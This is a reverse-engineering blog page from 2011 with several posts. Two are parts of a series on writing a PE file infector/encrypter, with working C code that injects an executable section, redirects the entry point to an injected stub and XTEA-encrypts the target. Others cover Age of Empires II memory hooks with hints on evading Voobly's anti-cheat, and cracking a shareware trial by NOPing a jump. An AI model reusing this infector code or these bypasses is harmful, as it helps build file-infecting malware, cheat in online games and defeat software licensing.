RCE Endeavors 😅

April 23, 2011

Writing a File Infector/Encrypter: PE File Modification/Section Injection (2/4)

Filed under: Cryptography,General x86,Reverse Engineering — admin @ 5:54 PM

This post will mainly focus on how to write content into a portable executable (PE) file. The code shown consists of excerpts from the file infector and explanations as to the usage and functionality. The material makes sense the most in context with the source code listing in part 4. Some good background reading and reference material is

  1. Microsoft PE and COFF specification
  2. An In-Depth Look into the Win32 Portable Executable File Format
  3. Inject your code to a Portable Executable

The third article is especially useful, but takes a much different approach to injecting code, and also does not work for applications that use randomized base addresses.

The general concept presented, and what is used in the file infector, is adding a new section to a PE file. The PE structure is best illustrated with tools such as LordPE. A PE file is organized into several structures. These hold offsets into the file for certain properties. This is best illustrated with a graphic

The IMAGE_DOS_HEADER structure (reproduced below) is shown in the graphic above

typedef struct _IMAGE_DOS_HEADER
{
     WORD e_magic;
     WORD e_cblp;
     WORD e_cp;
     WORD e_crlc;
     WORD e_cparhdr;
     WORD e_minalloc;
     WORD e_maxalloc;
     WORD e_ss;
     WORD e_sp;
     WORD e_csum;
     WORD e_ip;
     WORD e_cs;
     WORD e_lfarlc;
     WORD e_ovno;
     WORD e_res[4];
     WORD e_oemid;
     WORD e_oeminfo;
     WORD e_res2[10];
     LONG e_lfanew;
} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;

These match up with offsets in the file (e_magic is the first WORD in the file, e_cblp is the second WORD, and so on). The most important property here is e_lfanew. This is an offset to a different structure, IMAGE_NT_HEADERS (reproduced below):

typedef struct _IMAGE_NT_HEADERS {
  DWORD                 Signature;
  IMAGE_FILE_HEADER     FileHeader;
  IMAGE_OPTIONAL_HEADER OptionalHeader;
} IMAGE_NT_HEADERS, *PIMAGE_NT_HEADERS;

This structure contains two additional structures, IMAGE_FILE_HEADER and IMAGE_OPTIONAL_HEADER (reproduced below):

typedef struct _IMAGE_OPTIONAL_HEADER {
  WORD                 Magic;
  BYTE                 MajorLinkerVersion;
  BYTE                 MinorLinkerVersion;
  DWORD                SizeOfCode;
  DWORD                SizeOfInitializedData;
  DWORD                SizeOfUninitializedData;
  DWORD                AddressOfEntryPoint;
  DWORD                BaseOfCode;
  DWORD                BaseOfData;
  DWORD                ImageBase;
  DWORD                SectionAlignment;
  DWORD                FileAlignment;
  WORD                 MajorOperatingSystemVersion;
  WORD                 MinorOperatingSystemVersion;
  WORD                 MajorImageVersion;
  WORD                 MinorImageVersion;
  WORD                 MajorSubsystemVersion;
  WORD                 MinorSubsystemVersion;
  DWORD                Win32VersionValue;
  DWORD                SizeOfImage;
  DWORD                SizeOfHeaders;
  DWORD                CheckSum;
  WORD                 Subsystem;
  WORD                 DllCharacteristics;
  DWORD                SizeOfStackReserve;
  DWORD                SizeOfStackCommit;
  DWORD                SizeOfHeapReserve;
  DWORD                SizeOfHeapCommit;
  DWORD                LoaderFlags;
  DWORD                NumberOfRvaAndSizes;
  IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} IMAGE_OPTIONAL_HEADER, *PIMAGE_OPTIONAL_HEADER;

This structure holds all of the information that is needed to inject a section into a PE file: the needed file alignment, section alignment, the current number of sections, the size of the image, and so on. The last important structure that is required is IMAGE_SECTION_HEADER (reproduced below):

typedef struct _IMAGE_SECTION_HEADER {
  BYTE  Name[IMAGE_SIZEOF_SHORT_NAME];
  union {
    DWORD PhysicalAddress;
    DWORD VirtualSize;
  } Misc;
  DWORD VirtualAddress;
  DWORD SizeOfRawData;
  DWORD PointerToRawData;
  DWORD PointerToRelocations;
  DWORD PointerToLinenumbers;
  WORD  NumberOfRelocations;
  WORD  NumberOfLinenumbers;
  DWORD Characteristics;
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;

This structure will contains all important information about a section in a PE file. It will basically be the structure that has to be (partially) filled out and then written into the file. It will be written following the last section and the value holding the number of sections in IMAGE_FILE_HEADER will be incremented and saved so this section is recognized.

The general idea then is to map the file to memory, find the appropriate structures (IMAGE_DOS_HEADER and IMAGE_NT_HEADERS, IMAGE_SECTION_HEADER), and write our own IMAGE_SECTION_HEADER structure to the file.

The function to map a file to memory is shown below

bool map_file(const wchar_t *file_name, unsigned int stub_size, bool append_mode, pfile_info mapped_file_info) {
    void *file_handle = CreateFile(file_name, GENERIC_READ | GENERIC_WRITE, 0,
        NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if(file_handle == INVALID_HANDLE_VALUE) {
        wprintf(L"Could not open %s", file_name);
        return false;
    }
    unsigned int file_size = GetFileSize(file_handle, NULL);
    if(file_size == INVALID_FILE_SIZE) {
        wprintf(L"Could not get file size for %s", file_name);
        return false;
    }
    if(append_mode == true) {
        file_size += (stub_size + sizeof(DWORD_PTR));
    }
    void *file_map_handle = CreateFileMapping(file_handle, NULL, PAGE_READWRITE, 0,
        file_size, NULL);
    if(file_map_handle == NULL) {
        wprintf(L"File map could not be opened");
        CloseHandle(file_handle);
        return false;
    }
    void *file_mem_buffer = MapViewOfFile(file_map_handle, FILE_MAP_WRITE, 0, 0, file_size);
    if(file_mem_buffer == NULL) {
        wprintf(L"Could not map view of file");
        CloseHandle(file_map_handle);
        CloseHandle(file_handle);
        return false;
    }
    mapped_file_info->file_handle = file_handle;
    mapped_file_info->file_map_handle = file_map_handle;
    mapped_file_info->file_mem_buffer = (unsigned char*)file_mem_buffer;
    return true;
}

This function takes in the target file name, a stub size which is the number of bytes to write into the file, an append mode flag which is used if the file is being modified, and a pfile_info structure which will be filled out upon a successful return. The append mode flag is needed because the target file needs to be opened twice: the first time to obtain the section alignment, and then a second time (after closing it), to write in the instructions with an aligned stub_size parameter. The function demonstrates a pretty straightforward use of the Windows API to perform mapping it into memory. The file_info structure is shown below:

typedef struct {
    void *file_handle;
    void *file_map_handle;
    unsigned char *file_mem_buffer;
} file_info, *pfile_info;

Now since the file is mapped into memory, it is possible to obtain pointers to the appropriate structures. These can be obtained directly through typecasting the file buffer. An example of how to obtain them is shown below:

PIMAGE_DOS_HEADER dos_header = (PIMAGE_DOS_HEADER)target_file->file_mem_buffer;
PIMAGE_NT_HEADERS nt_headers = (PIMAGE_NT_HEADERS)((DWORD_PTR)dos_header + dos_header->e_lfanew);

Once the file is mapped, it is possible to start adding the section. The code to add a section is shown below:

//Reference: http://www.codeproject.com/KB/system/inject2exe.aspx
PIMAGE_SECTION_HEADER add_section(const char *section_name, unsigned int section_size, void *image_addr) {
    PIMAGE_DOS_HEADER dos_header = (PIMAGE_DOS_HEADER)image_addr;
    if(dos_header->e_magic != 0x5A4D) {
        wprintf(L"Could not retrieve DOS header from %p", image_addr);
        return NULL;
    }
    PIMAGE_NT_HEADERS nt_headers = (PIMAGE_NT_HEADERS)((DWORD_PTR)dos_header + dos_header->e_lfanew);
    if(nt_headers->OptionalHeader.Magic != 0x010B) {
        wprintf(L"Could not retrieve NT header from %p", dos_header);
        return NULL;
    }
    const int name_max_length = 8;
    PIMAGE_SECTION_HEADER last_section = IMAGE_FIRST_SECTION(nt_headers) + (nt_headers->FileHeader.NumberOfSections - 1);
    PIMAGE_SECTION_HEADER new_section = IMAGE_FIRST_SECTION(nt_headers) + (nt_headers->FileHeader.NumberOfSections);
    memset(new_section, 0, sizeof(IMAGE_SECTION_HEADER));
    new_section->Characteristics = IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_CNT_CODE;
    memcpy(new_section->Name, section_name, name_max_length);
    new_section->Misc.VirtualSize = section_size;
    new_section->PointerToRawData = align_to_boundary(last_section->PointerToRawData + last_section->SizeOfRawData,
        nt_headers->OptionalHeader.FileAlignment);
    new_section->SizeOfRawData = align_to_boundary(section_size, nt_headers->OptionalHeader.SectionAlignment);
    new_section->VirtualAddress = align_to_boundary(last_section->VirtualAddress + last_section->Misc.VirtualSize,
        nt_headers->OptionalHeader.SectionAlignment);
    nt_headers->OptionalHeader.SizeOfImage =  new_section->VirtualAddress + new_section->Misc.VirtualSize;
    nt_headers->FileHeader.NumberOfSections++;
    return new_section;
}

Understanding this function is pretty straightforward as it follows what was said above. It takes in the name of the new section, the size of the new section (aligned to IMAGE_NT_HEADERS.IMAGE_OPTIONAL_HEADER.SectionAlignment), and address of the memory mapped file. The IMAGE_DOS_HEADER and IMAGE_NT_HEADERS structures are obtained and the properties in the IMAGE_NT_HEADERS structure are used to properly fill out a custom IMAGE_SECTION_HEADER structure. The last section in the file is obtained and a new one is made following it. This structure is the new section to be added. The important thing to note is that a lot of the properties need to be aligned. Once these properties are filled out, the size of the image is updated and the number of sections is incremented. Now the new section will be recognized. What is left to be done is to write the instructions that this section contains, and to change the entry point to point to this new section. Writing in the instructions is extremely simple:

void copy_stub_instructions(PIMAGE_SECTION_HEADER section, void *image_addr, void *stub_addr) {
    unsigned int stub_size = get_stub_size(stub_addr);
    memcpy(((unsigned char *)image_addr + section->PointerToRawData), stub_addr, stub_size);
}

Changing the file entry point is slightly more complicated, but not by much. It is simply a matter of finding where the new data is and performing a bit of math to get the correct offset to set as the new entry point.

void change_file_oep(PIMAGE_NT_HEADERS nt_headers, PIMAGE_SECTION_HEADER section) {
    unsigned int file_address = section->PointerToRawData;
    PIMAGE_SECTION_HEADER current_section = IMAGE_FIRST_SECTION(nt_headers);
    for(int i = 0; i < nt_headers->FileHeader.NumberOfSections; ++i) {
        if(file_address >= current_section->PointerToRawData &&
            file_address < (current_section->PointerToRawData + current_section->SizeOfRawData)){
                file_address -= current_section->PointerToRawData;
                file_address += (nt_headers->OptionalHeader.ImageBase + current_section->VirtualAddress);
                break;
        }
    ++current_section;
    }
    nt_headers->OptionalHeader.AddressOfEntryPoint =  file_address - nt_headers->OptionalHeader.ImageBase;
}

And finally, the last thing to do is to encrypt the entire file, with the exception of the written stub (which includes the decryption routine), and the .rdata and .rsrc sections since they both only contain initialized data and resources respectively. The encryption routine that was used is the eXtended TEA (XTEA) block cipher. Every 8 bytes of program data is run through 32 rounds of the cipher and written to the file. The implementation is shown below:

void encrypt_file(PIMAGE_NT_HEADERS nt_headers, pfile_info target_file, const char *excluded_section_name) {
    PIMAGE_SECTION_HEADER current_section = IMAGE_FIRST_SECTION(nt_headers);
    const char *excluded_sections[] = {".rdata", ".rsrc", excluded_section_name};
    for(int i = 0; i < nt_headers->FileHeader.NumberOfSections; ++i) {
        int excluded = 1;
        for(int j = 0; j < sizeof(excluded_sections)/sizeof(excluded_sections[0]); ++j)
            excluded &= strcmp(excluded_sections[j], (char *)current_section->Name);
        if(excluded != 0) {
            unsigned char *section_start = 
                (unsigned char *)target_file->file_mem_buffer + current_section->PointerToRawData;
            unsigned char *section_end = section_start + current_section->SizeOfRawData;
            const unsigned int num_rounds = 32;
            const unsigned int key[] = {0x12345678, 0xAABBCCDD, 0x10101010, 0xF00DBABE};
            for(unsigned char *k = section_start; k < section_end; k += 8) {
                unsigned int block1 = (*k << 24) | (*(k+1) << 16) | (*(k+2) << 8) | *(k+3);
                unsigned int block2 = (*(k+4) << 24) | (*(k+5) << 16) | (*(k+6) << 8) | *(k+7);
                unsigned int full_block[] = {block1, block2};
                encrypt(num_rounds, full_block, key);
                full_block[0] = swap_endianess(full_block[0]);
                full_block[1] = swap_endianess(full_block[1]);
                memcpy(k, full_block, sizeof(full_block));
            }
        }
        current_section++;
    }
}
 
//Encryption/decryption routines modified from http://en.wikipedia.org/wiki/XTEA
void encrypt(unsigned int num_rounds, unsigned int blocks[2], unsigned int const key[4]) {
    const unsigned int delta = 0x9E3779B9;
    unsigned int sum = 0;
    for (unsigned int i = 0; i < num_rounds; ++i) {
        blocks[0] += (((blocks[1] << 4) ^ (blocks[1] >> 5)) + blocks[1]) ^ (sum + key[sum & 3]);
        sum += delta;
        blocks[1] += (((blocks[0] << 4) ^ (blocks[0] >> 5)) + blocks[0]) ^ (sum + key[(sum >> 11) & 3]);
    }
}

With all that done, the file can be unmapped from memory and the changes saved with FlushViewOfFile.

A downloadable PDF of this post can be found here

Writing a File Infector/Encrypter: Background (1/4)

Filed under: Cryptography,General x86,Reverse Engineering — admin @ 5:53 PM

These next series of posts will focus on explaining a file infector/encrypter that I wrote a week ago or so. It works with any PE32 executable file, overcomes issues with randomized base addresses, and takes advantage of Visual Studio’s C++ compiler to generate the assembly code to inject into the target. This allows for large portions of the injected code to be written in C and greatly speeds up development time. Lastly, the target file is also encrypted by the infector and the decryption routine is written in to decrypt the file image at runtime. The series will be broken up into the four parts listed below:

  1. Background
  2. PE file modification/section injection
  3. Writing the compiled stub
  4. Full source code and remarks

Since this post will focus on the background of the project, there will be no (relevant) code contained in it. This post will discuss the high level concepts involved behind the infector, issues that arise while developing something like this, and provide an overview of the architecture of the infector. The usual warnings come with this article such as using it only to enhance your knowledge and to not be a script kiddie and rip the code to spread malware.

A file infector is simply an application that adds code to another process in hopes of executing that code. This code can itself be an infector which continues to spread to other files, or it can just be an arbitrary block of code with some defining purpose. Simply introducing code to a file is not enough though, as the normal control flow of the target process would never invoke it. Therefore, there are two main options: parts of the target file can be overwritten with a jump to the code, usually called a code cave. This includes variations such as writing itself into a subroutine and jumping to a block containing parts of the original code. The other option is to hijack the entry point the target file and modify it so the process starts up and immediately executes the desired code. The two techniques are illustrated below:

The original control flow of an application

The hijacked version, with a jump to what was an empty part of the process, but now would contain instructions to execute

The added instructions to be executed. The overwritten code is restored at the end and a jump returns control flow back to normal.

The other mentioned technique, modifying the entry point:

The entry point is an offset from the image base and denotes where the program begins execution. It is possible to take control of the application by modifying the entry point to point to the added code block, then jumping from the added code block to the original entry point. One thing to note though is that the ImageBase value is not always reliable, since applications linked with /DYNAMICBASE in Visual Studio (or whatever appropriate linker flag with different compilers) will have a “randomized” base address. This means that the jump back into the original entry point cannot have a hardcoded address (0x00400000 + 0x000153B7 in this case), but instead needs to be found by the injected code at runtime.

The next issue arises when the injected code wants to call any Windows API functions. Load addresses of kernel32.dll, ntdll.dll, and user32.dll are not guaranteed to always be the same, and DLLs such as Ws2_32.dll, Shlwapi.dll, and so on are not even guaranteed to be loaded. This means that call addresses to the Windows API cannot be hardcoded, and it also means that additional DLLs may have to be loaded in order to be their functionality. The good news it that since kernel32.dll is loaded into every process, its load added can be obtained from the process environment block (PEB). Then the export address table (EAT) of kernel32.dll can be walked and the address of LoadLibrary can be obtained to load additional DLLs. All exported functions in the DLL can be found through the function name table and through the usage of the function and ordinal table to obtain the address (more on this in part 3).

The last issue is that functions in the C runtime cannot be used. Again, this issue arises because of randomized base addresses — the address of the desired function simply cannot be hardcoded into the piece of code to be injected. This means that the functions will have to be implemented in assembly. This really isn’t too bad — for my version I only implemented strlen and a variation on strcmp, both needed when traversing the function name table.

The architecture of the infector has two main components: the injection function which will be injected into the target, and the code to map the file, add the code, modify the entry point, and so on. The injection function will be entirely self contained, and written in C and assembly. The C compiler will be leveraged to generate the assembly instructions that will be injected into the target. At runtime, the infector will calculate the length of the injection function, modify part of the function to insert the correct entry point offset, write the instructions into the target file, and lastly modify the entry point of the target file to execute the function upon loading. Lastly, the file will be encrypted. The role of the injection function is to decrypt the contents at runtime and continue normal execution.

A downloadable PDF of this post can be found here

February 4, 2011

Game Hacking: Age of Empires II (Part 2/?)

Filed under: Game Hacking,Reverse Engineering — admin @ 11:26 AM

This part will focus on how to draw player stats on the game screen. One obvious advantage to this over the previous article is that the player stats are directly in the game, thus there is no need to alt-tab out or play in windowed mode to see what the other players have. Additionally, a toggle feature will be added that allows the player to cycle through various modes to see different types of statistics on the others. The first step is to find a place where either some text, or more specifically, the players scores are drawn. The advantage to finding where the player scores are drawn is that player statistics will be drawn in a natural location and that they can correspond in color to the player. The first step is to think about how the player text is drawn on screen. There is always the player name, a colon followed by a space, and two numbers with a forward slash separating them. Searching for a format similar to this in the games referenced strings leads to what could be the right path.
A string with our desired format is found, and some other interesting strings which hint to drawing. Setting a breakpoint on where the “%s: %d/%d” string is referenced shows that it does in fact relate to the players  scores. The function that uses this is called on a timer continually to update the players scores on the screen. The image below shows what values are loaded in registers on the first and second call respectively.

The general gist of how the function works is that the player whose score is to be retrieved is loaded into the EAX register. The function flow continues until the score is retrieved. The score for the next player is retrieved while the string containing the name and score of the previous player is drawn on the screen. The process then continues for the next player and restarts while the game is active. Modifying the name on a call shows that this does indeed affect how the text is drawn on the screen

This can then be taken advantage of to draw what we want. Tracing exactly where the name gets drawn leads to the call from .text:0052107D.

.text:0052104C                 mov     eax, [esp+350h+var_330]
.text:00521050                 mov     ecx, [esp+350h+var_340]
.text:00521054                 mov     edx, [esi+8]
.text:00521057                 push    eax             ; int
.text:00521058                 mov     eax, [esi+4]
.text:0052105B                 push    ecx             ; int
.text:0052105C                 mov     ecx, [esi]
.text:0052105E                 push    ebx             ; int
.text:0052105F                 push    edi             ; int
.text:00521060                 push    edx             ; int
.text:00521061                 mov     edx, [esp+364h+var_31C]
.text:00521065                 push    eax             ; int
.text:00521066                 mov     eax, [esp+368h+var_318]
.text:0052106A                 push    ecx             ; int
.text:0052106B                 push    edx             ; int
.text:0052106C                 mov     edx, [esp+370h+var_338]
.text:00521070                 lea     ecx, [esp+370h+Str1]
.text:00521077                 push    eax             ; int
.text:00521078                 push    ecx             ; Str1
.text:00521079                 mov     ecx, [edx]
.text:0052107B                 push    5               ; int
.text:0052107D                 call    sub_54A510

Immediately after this routine completes, the text is drawn on the screen. The function has 11 arguments, the second one being the player name, and third being the RGB value of the player. For the purpose of developing this portion of the hack, the other arguments are irrelevant and probably relate to the position on the screen where the text is to be drawn if I had to take a guess. The idea then is to hook .text:0054A510, grab the stats for the players name, modify the resulting string (which will be in “%s: %d/%d” format) to our custom string, and then pass this back to the original function to be drawn on the screen. The resulting code would look like

__declspec(naked) int score_update_hook(int always_five, char *player, int rgb_value, int unk1, int unk2,
    int unk3, int unk4, int unk5, int unk6, int unk7, int unk8) {
    __asm pushad
    char *name; //Placeholder for address of name buffer
    __asm {
        mov ebx, dword ptr[esp+0x28]
        mov name, ebx
    }
    stats = items_find_by_name(&base_pointers, name);
    if(stats != NULL) {
        if(toggle_option == CURRENT_RES)
            _snprintf(name, SCORE_MAX_LENGTH, "W:%1.0f  F:%1.0f  G:%1.0f  S:%1.0f\0",
            stats->player_stat->wood, stats->player_stat->food, stats->player_stat->gold,
            stats->player_stat->stone);
        else if(toggle_option == ALL_RES)
            _snprintf(name, SCORE_MAX_LENGTH, "W:%1.0f  F:%1.0f  G:%1.0f  S:%1.0f\0",
            stats->player_stat->total_wood_gathered, stats->player_stat->total_food_gathered,
            stats->player_stat->total_gold_gathered, stats->player_stat->total_stone_gathered);
        else if(toggle_option == POP_AGE)
            _snprintf(name, SCORE_MAX_LENGTH, "Pop: %1.0f/%1.0f  Vil:%1.0f  Mil:%1.0f  Age:%1.0f\0",
            stats->player_stat->pop_current, (stats->player_stat->pop_current + stats->player_stat->pop_left),
            stats->player_stat->num_villagers, stats->player_stat->num_military, stats->player_stat->current_age);
    }
    __asm {
        popad
        jmp score_update
    }
}

The actual structure of the function is abused a bit here. Since .text:0054A510 has no local variables, we can create one on the stack at [EBP-0x4], since there won’t be anything to overwrite there. This dummy argument will act as our third argument at [ESP+0x28] (this function does not set up any sort of BP-based frame). Then anything we do to this dummy argument will be reflected as a change to the third parameter. Thus, the hook grabs the player name of who is to be updated, gets their stats, and checks what mode the user wants to be displayed. The modes are currently controlled through a regular enum in toggle_options.h

typedef enum TOGGLE_OPTIONS {
    CURRENT_RES = 1,
    ALL_RES,
    POP_AGE
} toggle_options;

Future plans can be to extend this system to allow the user to script their own format to be displayed with what they want. This technique still holds on multiplayer, as shown by the screenshots below.

Multiplayer note: The hooking technique posted below is detectable by Voobly. See the end of part 1 for suggestions on bypasses.

Usage: Enter a game and hit the hotkey to enable (default is F5). Use F6 to disable the hack, F7 to toggle options, and F8 to clear the stat list in case all names were not retrieved. A player is added to the list when they perform any action in game that modifies their resources. Duplicates are not stored in the list.

I’d prefer for the hack to develop through a series of articles instead of opening up a SVN server on here since that will give me motivation to continue its development.

The source for the in-game hack DLL can be found here.

A downloadable PDF of this post can be found here.

February 2, 2011

Game Hacking: Age of Empires II (Part 1/?)

Filed under: Game Hacking,Reverse Engineering — admin @ 7:06 AM

This article will be one of an ongoing series — as I have time to write them. I’ve spent the better part of this past weekend and this week focusing on game hacking. The target was an old classic, Age of Empires II: The Conquerors.

It is an old 2D RTS game where you build up an empire, build armies, make/break alliances, and so on. For a much more in-depth explanation than I care to provide see the Wikipedia article on its predecessor. One of the interesting things that I discovered while messing around with this game is that the statistics (all resource/villager/military/… counts, current age, population, etc) counts are stored in a structure that is indexed into for the appropriate player. This wouldn’t be too interesting as a single player game, but Age of Empires is a multiplayer game, with a semi-big community of around 1200 active players. The same base classes/structures are shared between AI bots and active players, meaning there are no modifications to be made between single and multiplayer, in terms of hack development.

Finding the stat structure started off normally, by using Cheat Engine to search for the type of variable the player’s resources were stored in, and what was writing to it. Doing the usual things like building/destroying buildings, collecting resources, and making units yielded a wide variety of results. In the end, there were multiple candidates for where values are being written from, but they were narrowed down to a very good function at .text:00555470.

This is good candidate because the floating point stack is being utilized, and it was the only one like it that popped up when dropping resources off at the town center. Looking actively into this function yields clues about how it works. The important parts are reproduced below.

.text:0055544F                 mov     eax, [ecx+0A4h]
.text:00555455                 movsx   edx, si
.text:00555458                 cmp     edx, eax
.text:0055545A                 jge     loc_5554FE
.text:00555460                 mov     eax, [ecx+0A8h]
.text:00555466                 fld     [esp+4+arg_4]
.text:0055546A                 fadd    dword ptr [eax+edx*4]
.text:0055546D                 lea     eax, [eax+edx*4]
.text:00555470                 fstp    dword ptr [eax]
.text:00555472                 mov     eax, [ecx+4]
.text:00555475                 test    eax, eax
.text:00555477                 jz      loc_5554FE

This function is very interesting because it is a __thiscall and does not set up any sort of bp-based stack frame. ECX here is used without being initialized (hint for __thiscall) and the arguments are also referenced directly through the stack pointer. This is where the static code analysis ends though, and a debugger needs to be attached to follow exactly how everything behaves. OllyDbg happens to be one of the best for live code analysis.

Breakpoints set, everything can be observed as this function gets called. When I created a unit, the following values were in the registers when the first breakpoint hit.

Here ECX is the “this” pointer. It points to the base of the calling class. When the EIP is 0x0055546A, the application had the following state

1.0f was loaded into ST0. However, when I dequeued a unit, -1.0f was loaded into ST0. The second parameter is therefore some sort of flag for whether a unit is being queued or dequeued. This value is added to [EAX+EDX*4], and the result stored in the address that EAX points to. Looking at what is inside [EAX] then yields what is more or less a holy grail.

While the values may look nonsensical at first, this is actually a layout of a structure that holds a ton of statistics about a player.

The first four members of this structure correlate to the players food, wood, stone, and gold. Then comes the population left before hitting the cap, an unknown value, the current age, and so on (see player_stats.h for my listings). These values can continue to be found by setting memory breakpoints on an individual one or a region, followed by performing an action in the game and observing what breakpoints are triggered. Since the base of this structure is a member of the calling class, it can always be found at (base address of class + 0xA8), as evidenced in the disassembly of the function. Just looking at the base address of the class yields some interesting information.

In addition to having pointers to some ridiculously large structures (possibly covered in the future), the player’s name is also listed at (base address of class + 0xA8). Sidenote: The address pointing to it is different since I started another game instance between taking the two screenshots. This provides identifying information for each class that calls .text:00555470. Then the theory is that if I hook .text:00555470, I can store all of the pointers to every player in the game. This is true because this function is called by every player on the games start, and also throughout the game. Using Microsoft’s Detours library makes this extremely easy. The hook function looks as follows

__declspec(naked) void resources_changed_hook(short int res_type, float usage_type, int unused) {
	__asm {
		pushad
		mov eax, temp_pointer
		mov dword ptr[eax], ecx         //temp_pointer->base_pointer points to calling class
    }
    temp_pointer->player_name = (char*)(*(temp_pointer->base_pointer + (0x98 / sizeof(DWORD_PTR))));
    temp_pointer->player_stat = (player_stats*)(*(temp_pointer->base_pointer + (0xA8 / sizeof(DWORD_PTR))));
    if(insert(&base_pointers, temp_pointer) == true)
        temp_pointer = (item_set*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(item_set));
    __asm {
		popad
		jmp resources_changed
	}
}

The stack is preserved, the address of the calling class is stored, the offsets calculated and set, and the calling function inserted into a set (no repetitions allowed).

The actual structure is a shell of the calling class and stores only the class pointer, the statistics structure, and the players name

typedef struct ITEM_SET {
	int* base_pointer;
        char* player_name;
	player_stats* player_stat;
	ITEM_SET *next;
} item_set, *pitem_set;

This can/will all be expanded and redone as more of the calling class is reverse engineered. The stored items can then be simply traversed like a list and the data for each player printed out.

void print(item_set** head) {
	if(*head == NULL)
		return;
	item_set* node_ptr = *head;
	while(node_ptr != NULL) {
        printf("Player: %s -- Wood: %1.0f - Food %1.0f - Gold: %1.0f - Stone: %1.0f\n", node_ptr->player_name,
            node_ptr->player_stat->wood, node_ptr->player_stat->food, node_ptr->player_stat->gold, node_ptr->player_stat->stone);
		node_ptr = node_ptr->next;
	}
	printf("\n");
}

Here is an example of it in action:


Using this, a player is able to modify their own stats in addition to reading the stats of others. Doing something like

while(node_ptr != NULL) {
    if(strcmp("qwerty", node_ptr->player_name) == 0) {
        node_ptr->player_stat->food = 10000.0f;
        break;
    }
    node_ptr = node_ptr->next;
}

Would work fine on single player. However, on multiplayer this would cause an out of sync error. Since each player keeps a copy of the other players information in their game, any unwarranted change would cause the game to go out of sync. However, simply reading memory will still be fine. The player_stats structure consists of 198 members with roughly half of them documented by me. Additional help is welcome.

A screenshot from a CBA game at Voobly — technique still holds.

Warning: The version posted here will result in a ban from Voobly. Their anti-cheat checks functions for hooks and will ban any user found to be modifying the functions in memory. This is still extremely easy to get around using hardware breakpoints and a different DLL injection technique with no keyboard hook — but that might be another part of this series. The risk takers who are uninitiated with those topics may want to try to attach the hooks prior to an in-game lobby launch and detach immediately upon entering the game to beat the anti-cheat scan. This is definitely not recommended however. Also, the fact that it is in a separate window makes this more of a proof of concept than an actual functional hack until further work/posts are done on the game.

Possible future articles as time permits:

Hooking internal drawing functions or DirectDraw functions to draw text on the screen

Reversing the protocol and packet structure

Bypassing Voobly’s anti-cheat system (large hints given)

The source code to the hooking DLL can be found here.

A downloadable PDF of this post can be found here.

January 14, 2011

Five Minute Cracking: Hardcoded Expirations

Filed under: General x86-64,Reverse Engineering — admin @ 3:18 AM

I use a specific application (which won’t be named here) quite often. One of the annoying things about this application is that it is classified as shareware and continually pops up a nag screen on each instance to register, authenticate, and/or funnel money to them. Although the application still runs fine when this nag screen is closed — probably due to the developers taking a very fatalistic view on cracking, or them wanting to give their application more exposure (especially since free and possibly better alternatives exist). Admittedly, this screen becomes very annoying to see time and time again. Instead of switching over to the free alternative, I wanted to see how the nag screen works. Upon installation, there is a 40 day trial period that you, as a user, get to use this application. After this period is up, the nag screen begins to appear at each instance. This made me wonder what lengths the application goes to see if the user is using an expired version. I did a search for 40 in hex as 28h to see whether any comparisons come up with that value. Immediately something of interest popped up (string parameter blacked out since it identifies the program):
It immediately shows that the value in eax is compared against 28h and the jump to loc_1400942AF is taken if the value is greater. loc_1400942AF is cross referenced only once in the entire application (from the jump to it above), and it pops up a dialog with DialogBoxParam. This is literally the extent of the protection scheme of the application. Filling the jg instruction with NOPs is all that it takes to defeat it. Alternatively, it is possible to remove the dialog with a resource editor, which may be the simpler method since it doesn’t require looking at x86-64 ASM. The funny thing is that the application has a slightly complex key validation algorithm so writing a keygen for it would take a bit of time and skill; but since it is offered as a full version download (no removed features), keygenning it would be a bit pointless when you can NOP out an instruction. Why the application is designed this way remains a mystery, but it could be related to what I said above about piracy being inevitable and the developers wanting more exposure for their application versus (fully) free alternatives.

« Newer PostsOlder Posts »

Powered by WordPress